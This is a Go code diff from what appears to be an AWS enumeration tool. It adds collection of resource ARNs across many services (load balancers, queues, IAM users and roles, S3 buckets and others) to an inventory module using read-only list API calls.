||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "APIGateway RestAPIs"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -889,12 +973,19 @@ func (m *Inventory2Module) getAPIGatewayvAPIsPerRegion(r string, wg *sync.WaitGr
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(GetRestApis.Items)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, restAPI := range GetRestApis.Items {
|
||||
arn := aws.ToString(restAPI.Id)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if GetRestApis.Position != nil {
|
||||
PaginationControl = GetRestApis.Position
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -922,6 +1013,7 @@ func (m *Inventory2Module) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitG
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "APIGatewayv2 APIs"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -943,12 +1035,19 @@ func (m *Inventory2Module) getAPIGatewayv2APIsPerRegion(r string, wg *sync.WaitG
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(GetApis.Items)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, api := range GetApis.Items {
|
||||
arn := aws.ToString(api.ApiId)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if GetApis.NextToken != nil {
|
||||
PaginationControl = GetApis.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -976,6 +1075,7 @@ func (m *Inventory2Module) getELBv2ListenersPerRegion(r string, wg *sync.WaitGro
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "ELBv2 Load Balancers"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -997,6 +1097,12 @@ func (m *Inventory2Module) getELBv2ListenersPerRegion(r string, wg *sync.WaitGro
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(DescribeLoadBalancers.LoadBalancers)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, loadBalancer := range DescribeLoadBalancers.LoadBalancers {
|
||||
arn := aws.ToString(loadBalancer.LoadBalancerArn)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeLoadBalancers.NextMarker != nil {
|
||||
PaginationControl = DescribeLoadBalancers.NextMarker
|
||||
@@ -1004,6 +1110,7 @@ func (m *Inventory2Module) getELBv2ListenersPerRegion(r string, wg *sync.WaitGro
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1031,6 +1138,7 @@ func (m *Inventory2Module) getELBListenersPerRegion(r string, wg *sync.WaitGroup
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "ELB Load Balancers"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -1052,6 +1160,12 @@ func (m *Inventory2Module) getELBListenersPerRegion(r string, wg *sync.WaitGroup
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(DescribeLoadBalancers.LoadBalancerDescriptions)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, loadBalancer := range DescribeLoadBalancers.LoadBalancerDescriptions {
|
||||
arn := "arn:aws:elasticloadbalancing:" + r + ":" + aws.ToString(m.Caller.Account) + ":loadbalancer/" + aws.ToString(loadBalancer.LoadBalancerName)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeLoadBalancers.NextMarker != nil {
|
||||
PaginationControl = DescribeLoadBalancers.NextMarker
|
||||
@@ -1059,6 +1173,7 @@ func (m *Inventory2Module) getELBListenersPerRegion(r string, wg *sync.WaitGroup
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1086,6 +1201,7 @@ func (m *Inventory2Module) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, s
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "MQ Brokers"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -1107,12 +1223,18 @@ func (m *Inventory2Module) getMqBrokersPerRegion(r string, wg *sync.WaitGroup, s
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListBrokers.BrokerSummaries)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, broker := range ListBrokers.BrokerSummaries {
|
||||
resourceNames = append(resourceNames, aws.ToString(broker.BrokerArn))
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListBrokers.NextToken != nil {
|
||||
PaginationControl = ListBrokers.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1139,6 +1261,7 @@ func (m *Inventory2Module) getOpenSearchPerRegion(r string, wg *sync.WaitGroup,
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "OpenSearch DomainNames"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -1158,9 +1281,16 @@ func (m *Inventory2Module) getOpenSearchPerRegion(r string, wg *sync.WaitGroup,
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListDomainNames.DomainNames)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, domain := range ListDomainNames.DomainNames {
|
||||
arn := "arn:aws:opensearch:" + r + ":" + aws.ToString(m.Caller.Account) + ":domain/" + aws.ToString(domain.DomainName)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1186,6 +1316,7 @@ func (m *Inventory2Module) getGrafanaWorkspacesPerRegion(r string, wg *sync.Wait
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "Grafana Workspaces"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -1208,12 +1339,19 @@ func (m *Inventory2Module) getGrafanaWorkspacesPerRegion(r string, wg *sync.Wait
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListWorkspaces.Workspaces)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, workspace := range ListWorkspaces.Workspaces {
|
||||
arn := "arn:aws:grafana:" + r + ":" + aws.ToString(m.Caller.Account) + ":workspace/" + aws.ToString(workspace.Id)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListWorkspaces.NextToken != nil {
|
||||
PaginationControl = ListWorkspaces.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1241,6 +1379,7 @@ func (m *Inventory2Module) getAppRunnerServicesPerRegion(r string, wg *sync.Wait
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "AppRunner Services"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -1263,12 +1402,18 @@ func (m *Inventory2Module) getAppRunnerServicesPerRegion(r string, wg *sync.Wait
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListServices.ServiceSummaryList)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, service := range ListServices.ServiceSummaryList {
|
||||
resourceNames = append(resourceNames, aws.ToString(service.ServiceArn))
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListServices.NextToken != nil {
|
||||
PaginationControl = ListServices.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1295,6 +1440,7 @@ func (m *Inventory2Module) getLightsailInstancesAndContainersPerRegion(r string,
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "Lightsail Instances/Containers"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
GetContainerServices, err := m.LightsailClient.GetContainerServices(
|
||||
@@ -1313,6 +1459,11 @@ func (m *Inventory2Module) getLightsailInstancesAndContainersPerRegion(r string,
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(GetContainerServices.ContainerServices)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, containerService := range GetContainerServices.ContainerServices {
|
||||
resourceNames = append(resourceNames, aws.ToString(containerService.Arn))
|
||||
}
|
||||
|
||||
GetInstances, err := m.LightsailClient.GetInstances(
|
||||
context.TODO(),
|
||||
&(lightsail.GetInstancesInput{}),
|
||||
@@ -1330,7 +1481,13 @@ func (m *Inventory2Module) getLightsailInstancesAndContainersPerRegion(r string,
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(GetInstances.Instances)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, instance := range GetInstances.Instances {
|
||||
resourceNames = append(resourceNames, aws.ToString(instance.Arn))
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1355,6 +1512,7 @@ func (m *Inventory2Module) getSSMParametersPerRegion(r string, wg *sync.WaitGrou
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "SSM Parameters"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
DescribeParameters, err := m.SSMClient.DescribeParameters(
|
||||
@@ -1375,12 +1533,19 @@ func (m *Inventory2Module) getSSMParametersPerRegion(r string, wg *sync.WaitGrou
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(DescribeParameters.Parameters)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, parameter := range DescribeParameters.Parameters {
|
||||
arn := "arn:aws:ssm:" + r + ":" + aws.ToString(m.Caller.Account) + ":parameter/" + aws.ToString(parameter.Name)
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if DescribeParameters.NextToken != nil {
|
||||
PaginationControl = DescribeParameters.NextToken
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1407,9 +1572,9 @@ func (m *Inventory2Module) getEcsTasksPerRegion(r string, wg *sync.WaitGroup, se
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var PaginationControl *string
|
||||
var PaginationControl2 *string
|
||||
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "ECS Tasks"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListClusters, err := m.ECSClient.ListClusters(
|
||||
@@ -1445,6 +1610,11 @@ func (m *Inventory2Module) getEcsTasksPerRegion(r string, wg *sync.WaitGroup, se
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListTasks.TaskArns)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, task := range ListTasks.TaskArns {
|
||||
resourceNames = append(resourceNames, task)
|
||||
}
|
||||
|
||||
if ListTasks.NextToken != nil {
|
||||
PaginationControl2 = ListTasks.NextToken
|
||||
} else {
|
||||
@@ -1460,6 +1630,7 @@ func (m *Inventory2Module) getEcsTasksPerRegion(r string, wg *sync.WaitGroup, se
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1486,6 +1657,7 @@ func (m *Inventory2Module) getGlueDevEndpointsPerRegion(r string, wg *sync.WaitG
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "Glue Dev Endpoints"
|
||||
var PaginationControl *string
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListDevEndpoints, err := m.GlueClient.ListDevEndpoints(
|
||||
@@ -1506,6 +1678,12 @@ func (m *Inventory2Module) getGlueDevEndpointsPerRegion(r string, wg *sync.WaitG
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListDevEndpoints.DevEndpointNames)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, devEndpoint := range ListDevEndpoints.DevEndpointNames {
|
||||
arn := "arn:aws:glue:" + r + ":" + aws.ToString(m.Caller.Account) + ":devEndpoint/" + devEndpoint
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// This next line is non-standard. For some reason this next token is an empty string instead of nil, so
|
||||
// as a result we had to change the comparison.
|
||||
if aws.ToString(ListDevEndpoints.NextToken) != "" {
|
||||
@@ -1513,6 +1691,7 @@ func (m *Inventory2Module) getGlueDevEndpointsPerRegion(r string, wg *sync.WaitG
|
||||
} else {
|
||||
PaginationControl = nil
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1539,6 +1718,7 @@ func (m *Inventory2Module) getGlueJobsPerRegion(r string, wg *sync.WaitGroup, se
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "Glue Jobs"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
m.modLog.Info(fmt.Sprintf("Getting jobs %v\n", PaginationControl))
|
||||
@@ -1560,6 +1740,12 @@ func (m *Inventory2Module) getGlueJobsPerRegion(r string, wg *sync.WaitGroup, se
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListJobs.JobNames)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, job := range ListJobs.JobNames {
|
||||
arn := "arn:aws:glue:" + r + ":" + aws.ToString(m.Caller.Account) + ":job/" + job
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListJobs.NextToken != nil {
|
||||
PaginationControl = ListJobs.NextToken
|
||||
@@ -1567,6 +1753,7 @@ func (m *Inventory2Module) getGlueJobsPerRegion(r string, wg *sync.WaitGroup, se
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1593,6 +1780,7 @@ func (m *Inventory2Module) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "SNS Topics"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListTopics, err := m.SNSClient.ListTopics(
|
||||
@@ -1613,6 +1801,11 @@ func (m *Inventory2Module) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListTopics.Topics)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, topic := range ListTopics.Topics {
|
||||
resourceNames = append(resourceNames, aws.ToString(topic.TopicArn))
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListTopics.NextToken != nil {
|
||||
PaginationControl = ListTopics.NextToken
|
||||
@@ -1620,6 +1813,7 @@ func (m *Inventory2Module) getSNSTopicsPerRegion(r string, wg *sync.WaitGroup, s
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1646,6 +1840,7 @@ func (m *Inventory2Module) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, s
|
||||
var PaginationControl *string
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "SQS Queues"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListQueues, err := m.SQSClient.ListQueues(
|
||||
@@ -1666,6 +1861,12 @@ func (m *Inventory2Module) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, s
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListQueues.QueueUrls)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, queue := range ListQueues.QueueUrls {
|
||||
arn := "arn:aws:sqs:" + r + ":" + aws.ToString(m.Caller.Account) + ":" + queue
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// The "NextToken" value is nil when there's no more data to return.
|
||||
if ListQueues.NextToken != nil {
|
||||
PaginationControl = ListQueues.NextToken
|
||||
@@ -1673,6 +1874,7 @@ func (m *Inventory2Module) getSQSQueuesPerRegion(r string, wg *sync.WaitGroup, s
|
||||
PaginationControl = nil
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
@@ -1697,6 +1899,7 @@ func (m *Inventory2Module) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGro
|
||||
m.CommandCounter.Executing++
|
||||
var totalCountThisServiceThisRegion = 0
|
||||
var service = "DynamoDB Tables"
|
||||
var resourceNames []string
|
||||
|
||||
ListTables, err := m.DynamoDBClient.ListTables(
|
||||
context.TODO(),
|
||||
@@ -1714,11 +1917,19 @@ func (m *Inventory2Module) getDynamoDBTablesPerRegion(r string, wg *sync.WaitGro
|
||||
// Add this page of resources to the total count
|
||||
totalCountThisServiceThisRegion = totalCountThisServiceThisRegion + len(ListTables.TableNames)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, table := range ListTables.TableNames {
|
||||
arn := "arn:aws:dynamodb:" + r + ":" + aws.ToString(m.Caller.Account) + ":table/" + table
|
||||
resourceNames = append(resourceNames, arn)
|
||||
}
|
||||
|
||||
// No more pages, update the module's service map
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.serviceMap[service][r] = totalCountThisServiceThisRegion
|
||||
m.totalRegionCounts[r] = m.totalRegionCounts[r] + totalCountThisServiceThisRegion
|
||||
m.serviceMap["total"][r] = m.serviceMap["total"][r] + totalCountThisServiceThisRegion
|
||||
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
@@ -1728,6 +1939,8 @@ func (m *Inventory2Module) getBuckets(verbosity int, dataReceiver chan GlobalRes
|
||||
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
|
||||
var total int
|
||||
resourceType := "S3 Buckets"
|
||||
var resourceNames []string
|
||||
|
||||
ListBuckets, err := m.S3Client.ListBuckets(
|
||||
context.TODO(),
|
||||
&s3.ListBucketsInput{},
|
||||
@@ -1740,11 +1953,20 @@ func (m *Inventory2Module) getBuckets(verbosity int, dataReceiver chan GlobalRes
|
||||
|
||||
total = len(ListBuckets.Buckets)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, bucket := range ListBuckets.Buckets {
|
||||
arn := "arn:aws:s3:::" + aws.ToString(bucket.Name)
|
||||
m.resources = append(m.resources, arn)
|
||||
}
|
||||
|
||||
dataReceiver <- GlobalResourceCount2{
|
||||
resourceType: resourceType,
|
||||
count: total,
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.mu.Unlock()
|
||||
// if verbosity > 1 {
|
||||
// fmt.Printf("S3 Buckets: %d\n", total_buckets)
|
||||
// }
|
||||
@@ -1755,6 +1977,7 @@ func (m *Inventory2Module) getCloudfrontDistros(verbosity int, dataReceiver chan
|
||||
var PaginationControl *string
|
||||
var total int
|
||||
resourceType := "Cloudfront Distributions"
|
||||
var resourceNames []string
|
||||
|
||||
// This for loop exits at the end depending on whether the output hits its last page (see pagination control block at the end of the loop).
|
||||
for {
|
||||
@@ -1776,6 +1999,11 @@ func (m *Inventory2Module) getCloudfrontDistros(verbosity int, dataReceiver chan
|
||||
// Add this page of resources to the total count
|
||||
total = total + len(ListDistributions.DistributionList.Items)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, distro := range ListDistributions.DistributionList.Items {
|
||||
resourceNames = append(resourceNames, aws.ToString(distro.ARN))
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListDistributions.DistributionList.NextMarker != nil {
|
||||
PaginationControl = ListDistributions.DistributionList.NextMarker
|
||||
@@ -1789,6 +2017,9 @@ func (m *Inventory2Module) getCloudfrontDistros(verbosity int, dataReceiver chan
|
||||
}
|
||||
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.mu.Unlock()
|
||||
}
|
||||
|
||||
func (m *Inventory2Module) getIAMUsers(verbosity int, dataReceiver chan GlobalResourceCount2) {
|
||||
@@ -1796,6 +2027,7 @@ func (m *Inventory2Module) getIAMUsers(verbosity int, dataReceiver chan GlobalRe
|
||||
var PaginationControl *string
|
||||
var total int
|
||||
resourceType := "IAM Users"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListUsers, err := m.IAMClient.ListUsers(
|
||||
@@ -1811,6 +2043,11 @@ func (m *Inventory2Module) getIAMUsers(verbosity int, dataReceiver chan GlobalRe
|
||||
}
|
||||
total = total + len(ListUsers.Users)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, user := range ListUsers.Users {
|
||||
resourceNames = append(resourceNames, aws.ToString(user.Arn))
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListUsers.Marker != nil {
|
||||
PaginationControl = ListUsers.Marker
|
||||
@@ -1823,6 +2060,9 @@ func (m *Inventory2Module) getIAMUsers(verbosity int, dataReceiver chan GlobalRe
|
||||
break
|
||||
}
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.mu.Unlock()
|
||||
|
||||
}
|
||||
|
||||
@@ -1831,6 +2071,7 @@ func (m *Inventory2Module) getIAMRoles(verbosity int, dataReceiver chan GlobalRe
|
||||
var PaginationControl *string
|
||||
var total int
|
||||
var resourceType = "IAM Roles"
|
||||
var resourceNames []string
|
||||
|
||||
for {
|
||||
ListRoles, err := m.IAMClient.ListRoles(
|
||||
@@ -1846,6 +2087,11 @@ func (m *Inventory2Module) getIAMRoles(verbosity int, dataReceiver chan GlobalRe
|
||||
}
|
||||
total = total + len(ListRoles.Roles)
|
||||
|
||||
// Add this page of resources to the module's resource list
|
||||
for _, role := range ListRoles.Roles {
|
||||
resourceNames = append(resourceNames, aws.ToString(role.Arn))
|
||||
}
|
||||
|
||||
// Pagination control. After the last page of output, the for loop exits.
|
||||
if ListRoles.Marker != nil {
|
||||
PaginationControl = ListRoles.Marker
|
||||
@@ -1858,6 +2104,9 @@ func (m *Inventory2Module) getIAMRoles(verbosity int, dataReceiver chan GlobalRe
|
||||
break
|
||||
}
|
||||
}
|
||||
m.mu.Lock()
|
||||
m.resources = append(m.resources, resourceNames...)
|
||||
m.mu.Unlock()
|
||||
|
||||
}
|
||||
|
||||
|
||||
+54
-28
@@ -68,15 +68,15 @@ func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string
|
||||
}
|
||||
|
||||
fmt.Printf("[%s][%s] Enumerating lambdas for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
|
||||
fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
|
||||
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
|
||||
